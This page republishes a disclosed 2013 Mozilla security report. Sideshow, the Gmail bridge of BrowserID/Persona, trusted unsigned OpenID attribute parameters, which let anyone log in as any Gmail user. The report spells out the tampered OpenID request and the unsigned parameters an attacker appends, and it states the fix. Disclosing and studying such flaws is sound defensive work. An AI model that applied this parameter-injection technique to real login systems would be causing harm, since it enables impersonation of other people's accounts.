Skip to content
Disclosed report

Identity Forgery in BrowserID-Sideshow

g.schmitz Follow

Originally disclosed on Mozilla

  • Fixed in 6 days
  • Paid in 6 days
  • Disclosed after 6 days
Text
It is possible to forge the email address reported by Gmail to Sideshow. Thus, an attacker can impersonate any Gmail user in BrowserID.

In a typical run, Sideshow redirects the user to the Gmail OpenID endpoint. Such a request looks as follows:

https://www.google.com/accounts/o8/ud?openid.mode=checkid_setup&openid.ns=http%3A%2F%2Fspecs.openid.net%2Fauth%2F2.0&openid.ns.ax=http%3A%2F%2Fopenid.net%2Fsrv%2Fax%2F1.0&openid.ax.mode=fetch_request&openid.ax.type.email=http%3A%2F%2Faxschema.org%2Fcontact%2Femail&openid.ax.required=email&openid.ns.ui=http%3A%2F%2Fspecs.openid.net%2Fextensions%2Fui%2F1.0&openid.ui.mode=popup&openid.identity=http%3A%2F%2Fspecs.openid.net%2Fauth%2F2.0%2Fidentifier_select&openid.claimed_id=http%3A%2F%2Fspecs.openid.net%2Fauth%2F2.0%2Fidentifier_select&openid.return_to=https%3A%2F%2Fgmail.login.persona.org%2Fauthenticate%2Fverify&openid.realm=https%3A%2F%2F*.persona.org

In this request, the email address of the user is requested from Gmail by the following URL parameters:

openid.ax.type.email=http%3A%2F%2Faxschema.org%2Fcontact%2Femail
openid.ax.required=email

The key "email" is arbitrarily chosen according to the OpenID specification. A malicous user can easily change this key to be something else, e.g. emailx:

openid.ax.type.emailx=http%3A%2F%2Faxschema.org%2Fcontact%2Femail
openid.ax.required=emailx

The OpenID endpoint at Gmail will redirect the user after successful authentication to the following URL at Sideshow:

https://gmail.login.persona.org/authenticate/verify?openid.ns=http%3A%2F%2Fspecs.openid.net%2Fauth%2F2.0&openid.mode=id_res&openid.op_endpoint=https%3A%2F%2Fwww.google.com%2Faccounts%2Fo8%2Fud&openid.response_nonce=2013-09-24T11%3A46%3A11Z479iYHqAdS054A&openid.return_to=https%3A%2F%2Fgmail.login.persona.org%2Fauthenticate%2Fverify&openid.assoc_handle=1.AMlYA9WY-N_y7bgaBQJ1NPIlDKor3MSPJjpyL2-ID8Svm3AGp9zVVbjtRubxCOqB&openid.signed=op_endpoint%2Cclaimed_id%2Cidentity%2Creturn_to%2Cresponse_nonce%2Cassoc_handle%2Cns.ext1%2Cext1.mode%2Cext1.type.emailx%2Cext1.value.emailx&openid.sig=BIPe1PIwitMp365MUEMd34IJLUs%3D&openid.identity=https%3A%2F%2Fwww.google.com%2Faccounts%2Fo8%2Fid%3Fid%3DAItOawnpe2gwVe563V5tt1yUqsE4Db-uMsLfSiQ&openid.claimed_id=https%3A%2F%2Fwww.google.com%2Faccounts%2Fo8%2Fid%3Fid%3DAItOawnpe2gwVe563V5tt1yUqsE4Db-uMsLfSiQ&openid.ns.ext1=http%3A%2F%2Fopenid.net%2Fsrv%2Fax%2F1.0&openid.ext1.mode=fetch_response&openid.ext1.type.emailx=http%3A%2F%2Faxschema.org%2Fcontact%2Femail&openid.ext1.value.emailx=ATTACKER%40gmail.com&openid.ns.ext2=http%3A%2F%2Fspecs.openid.net%2Fextensions%2Fui%2F1.0&openid.ext2.mode=popup

In this URL the OpenID assertion is encoded in the parameters. It correctly contains the user's email address, but stored in the value of the key openid.ext1.value.emailx. This value is correctly signed by OpenID. Sideshow expects the email address of the user in the value of the key openid.ext1.value.email. An attacker can now attach the following paramters:

openid.ext1.value.email=VICTIM%40gmail.com
openid.ext1.type.email=http%3A%2F%2Faxschema.org%2Fcontact%2Femail

As in OpenID not every attribute has to be signed, the modified request is still a correctly signed OpenID assertion. Sideshow now sends the assertion to Gmail's OpenID verify service, which says that the signatures are still correct. Sideshow now reads the email value from the key openid.ext1.value.email, which is now [address removed] and not the attacker's address.

As you can see, this attack is easy to carry out and allows any user to login as ANY Gmail user. We have tested this aginst the current live system. Maybe we have crashed some of your servers there (we got some 502 Bad Gateway responses when the email value was actually not present), sorry for that.

To prevent this attack, Sideshow has to verify that the email address in the OpenID assertion is actually signed.

The original report as published on Mozilla's Bugzilla, by g.schmitz. Images and videos are our own copies; raw HTML is shown as text. View it on Mozilla's Bugzilla.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

What is known

A high-severity security bug in Server: Identity. Mozilla made it public on 30 September 2013.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

More by g.schmitz

View all

1 more disclosed report, best first.

More from Mozilla

View all

The newest disclosed reports for this program.

Similar reports

Same bug class and techniques, clearest first.